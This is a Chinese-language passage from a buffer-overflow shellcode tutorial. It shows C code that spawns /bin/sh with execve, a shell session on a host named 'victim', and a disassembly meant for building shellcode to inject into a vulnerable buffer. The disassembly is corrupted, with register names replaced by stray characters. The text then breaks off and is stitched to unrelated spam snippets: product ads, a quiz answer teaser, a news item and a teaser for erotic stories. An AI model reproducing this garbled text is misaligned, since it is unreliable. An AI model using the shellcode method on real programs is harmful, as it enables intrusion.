如何执行 /bin/sh?
在C中,spawn出一个shell的代码可能象这样:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个 *** ,execve系统调用也将被反汇编)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
小明在超市不想排队,怎么可以快速结账呢??支付宝蚂蚁庄园4月20日庄园小课堂的答案是什么?蚂蚁庄园庄园小课堂4月20日问题是小明在超市不想排队,怎么可以快速结账呢?下面小编就为大家带来了答案,快来看看...
甜品发展到今天,已然是占据着越来越大的投资市场,究其原因还是在于消费者巨大的需求。纵观大街上那么多的甜品店,大多给消费者留下的印象都是千篇一律。在甜品加盟排行榜中的众多品牌之中的仙芋传奇甜品怎么样呢?...
中新网2月6日电 据路透社报道,当地时间2月5日,白宫表示,美国正在审查对欧盟的贸易关税政策。此前,欧盟驻美国大使呼吁美国拜登政府,立即取消对钢铝征收的进口关税,并努力解决有关飞机补贴的长期争端。...
防溢乳垫对哺乳期的妈妈来说太重要了,白天上班需要备着,晚上睡觉也需要垫上,有一款亲肤又吸水的乳垫就显得尤为重要。下面友谊长存的小编就带来:V-Coool防溢乳垫怎么样 V-Coool防溢乳垫好用吗。...
给这些用身体感受举行回覆的大神们跪了。 适用于有些知识存储的老司机旁观, 信息不完全准确,请新司机带有小我私家鉴别的部门吸收。 色色的小黄文,比1024另有意思。 接见地址:有了知 乎再...
每个胖子都希望通过最少的努力获得最好的效果,这世上有没有一种东西,可以在你不用动的情况下,自动的帮你瘦身呢?还真有“甩脂机”顾名思义,你站在甩脂机上,它帮你把脂肪甩出去,多好的东西,于是许多人去网上购...